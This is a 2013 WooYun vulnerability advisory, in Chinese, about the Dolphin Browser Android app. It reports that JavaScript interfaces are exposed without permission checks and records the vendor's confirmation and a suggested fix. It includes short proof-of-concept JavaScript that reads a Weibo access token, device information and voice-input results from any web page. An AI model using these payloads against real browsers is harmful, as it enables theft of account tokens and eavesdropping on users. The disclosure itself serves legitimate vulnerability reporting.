当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-037246

漏洞标题:海豚浏览器安卓客户端接口权限设计缺陷造成信息泄露

相关厂商:海豚浏览器

漏洞作者: 只抽红梅

提交时间:2013-09-16 07:49

修复时间:2013-10-31 07:50

公开时间:2013-10-31 07:50

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-16: 细节已通知厂商并且等待厂商处理中
2013-09-16: 厂商已经确认,细节仅向厂商公开
2013-09-26: 细节向核心白帽子及相关领域专家公开
2013-10-06: 细节向普通白帽子公开
2013-10-16: 细节向实习白帽子公开
2013-10-31: 细节向公众公开

简要描述:

海豚浏览器接口权限设计缺陷造成信息泄露

详细说明:

webview 的那个 addJavascriptInterface 导致的命令执行漏洞在海豚浏览器的新版本中已经修复了,经过反编译看源码应该是采用谷歌官方的修复方法。
虽然还是会公开一些方法给 JavaScript 调用,如下:

paramIWebView.addJavascriptInterface(Tracker.DOLPHIN_TRACKER, "dolphinTracker");
paramIWebView.addJavascriptInterface(a.a().b(), "DolphinContent");
paramIWebView.addJavascriptInterface(new DolphinJsApi(paramIWebView), "dolphin");
paramIWebView.addJavascriptInterface(new LocalStorageApi(), "dolphinLocalStorage");
paramIWebView.addJavascriptInterface(new DolphinGameCenterApi(), "dolphinGameCenter");
paramIWebView.addJavascriptInterface(new WebAppModeApi(paramIWebView), "dolphinWebapp");
paramIWebView.addJavascriptInterface(new ShareApi(), "dolphinShare");
paramIWebView.addJavascriptInterface(new SinaWeiboApi(paramIWebView), "sinaweibo");
paramIWebView.addJavascriptInterface(new AppUpdateInfoApi(paramIWebView), "appupdateinfo");


但是在这些类中有通过 @JavascriptInterface 注释来限定 JavaScript 能够调用的方法。例如:

@JavascriptInterface
public int availHeight()
{
if (!this.mJsApiManager.b());
for (int i = 0; ; i = this.mWebView.getViewHeight())
return i;
}


这样就解决了海豚浏览器之前的命令执行漏洞。
严重的漏洞是修复了,可是这些接口并没有任何的权限控制,导致任意一个页面的 JavaScript 都能够调用这些开放出来的接口。
------------------------------------分下,下面是部分接口调用效果------------------------------------
海豚浏览器可以绑定微博,如果登录微博后就可以通过下面的代码来获取到当前微博帐号的 access token:

document.write("weibo access token: " + window.sinaweibo.getAccessToken() + "<br/>");


下面代码能够获取当前设备的一些信息:

var deviceInfo = eval("(" + window.dolphin.getDeviceInfo() + ")");
for(info in deviceInfo){
document.write(info + ": " + deviceInfo[info] + "<br>");
}


还能够获取语音输入呢:

document.write("voice result: " + window.dolphin.getVoiceInputResult() + "<br/>");


这样是不是有机会窃听别人说话?

dp1.png


触发语音输入截图

dp2.png


部分结果截图

漏洞证明:

dp1.png


触发语音输入截图

dp2.png


部分结果截图

修复方案:

1、对开放的接口进行权限控制

版权声明:转载请注明来源 只抽红梅@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-09-16 09:34

厂商回复:

谢谢只抽红梅为我们提供的漏洞信息。问题已经在处理当中~~~

最新状态:

暂无